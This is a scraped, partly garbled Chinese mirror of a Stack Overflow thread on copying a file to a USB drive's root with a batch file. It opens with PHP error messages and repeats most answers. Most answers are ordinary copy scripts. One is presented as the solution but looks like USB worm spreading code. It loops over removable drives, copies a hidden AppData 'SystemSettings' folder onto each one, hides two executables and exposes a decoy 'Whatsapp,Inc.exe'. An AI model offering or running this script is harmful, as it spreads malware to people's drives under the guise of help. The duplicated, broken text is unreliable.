Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/loops/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Batch file 使用批处理文件将文件复制到USB闪存驱动器根目录_Batch File_Copy_Cmd_Root_Xcopy - Fatal编程技术网

Batch file 使用批处理文件将文件复制到USB闪存驱动器根目录

Batch file 使用批处理文件将文件复制到USB闪存驱动器根目录,batch-file,copy,cmd,root,xcopy,Batch File,Copy,Cmd,Root,Xcopy,我想创建一个批处理文件,将文件从任何目录复制到.bat文件所在的根文件夹中,就像USB闪存驱动器一样 我的命令不完整: xcopy /s "%userprofile%\Desktop\test.txt" "?" 我可以用“?”替换什么??? 谢谢大家您应该将其替换为USB驱动器的驱动器号,后跟:\ xcopy /s "%userprofile%\Desktop\test.txt" "\" 所以,真正的问题是如何确定,我猜系统中的哪些驱动器是USB闪存驱动器?代码如下: @echo

我想创建一个批处理文件,将文件从任何目录复制到.bat文件所在的根文件夹中,就像USB闪存驱动器一样

我的命令不完整:

    xcopy /s "%userprofile%\Desktop\test.txt" "?"
我可以用“?”替换什么???
谢谢大家

您应该将其替换为USB驱动器的驱动器号,后跟
:\
 xcopy /s "%userprofile%\Desktop\test.txt" "\"
所以,真正的问题是如何确定,我猜系统中的哪些驱动器是USB闪存驱动器?代码如下:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

但要考虑到它肯定只适用于1个可移动磁盘。如果插入两个此类设备,则会出现故障。

您应将其替换为USB驱动器的驱动器号,后跟
:\
所以,真正的问题是如何确定,我猜系统中的哪些驱动器是USB闪存驱动器?代码如下:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

但要考虑到它肯定只适用于1个可移动磁盘。如果插入两个这种类型的设备,它将失败。

这将完全符合您对任何和所有连接的USB驱动器的要求

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )

这将完全按照您希望的方式操作任何和所有连接的USB驱动器

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )

你需要做的是为你的USB目录使用一个相对路径。代码如下所示:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause
这将允许您输入一个提示,在该提示中您希望从/其名称复制文件夹。它将文件命名为与原始文件相同的名称,并保持原始格式(.txt等)。 让我知道,如果这对你不起作用,而不是向下投票,我会尽快为你制定另一个解决方案。
祝你好运

您需要做的是为您的USB目录使用相对路径。代码如下所示:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop
这将允许您输入一个提示,在该提示中您希望从/其名称复制文件夹。它将文件命名为与原始文件相同的名称,并保持原始格式(.txt等)。 让我知道,如果这对你不起作用,而不是向下投票,我会尽快为你制定另一个解决方案。 祝你好运

@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop
这正是你需要的


这正是你下次需要的

试试谷歌搜索。我希望下次能帮上忙,试试谷歌搜索一下。我希望有帮助您请求将文件复制到包含批处理文件的驱动器的根文件夹。至少我认为这是你想要的。如果您需要其他内容,请澄清您的问题。您要求将文件复制到包含批处理文件的驱动器的根文件夹中。至少我认为这是你想要的。如果您还需要别的什么,请澄清您的问题。您好,先生。你能解释一下这个脚本吗?非常好用,先生。你能解释一下这个脚本吗?顺便说一句,效果很好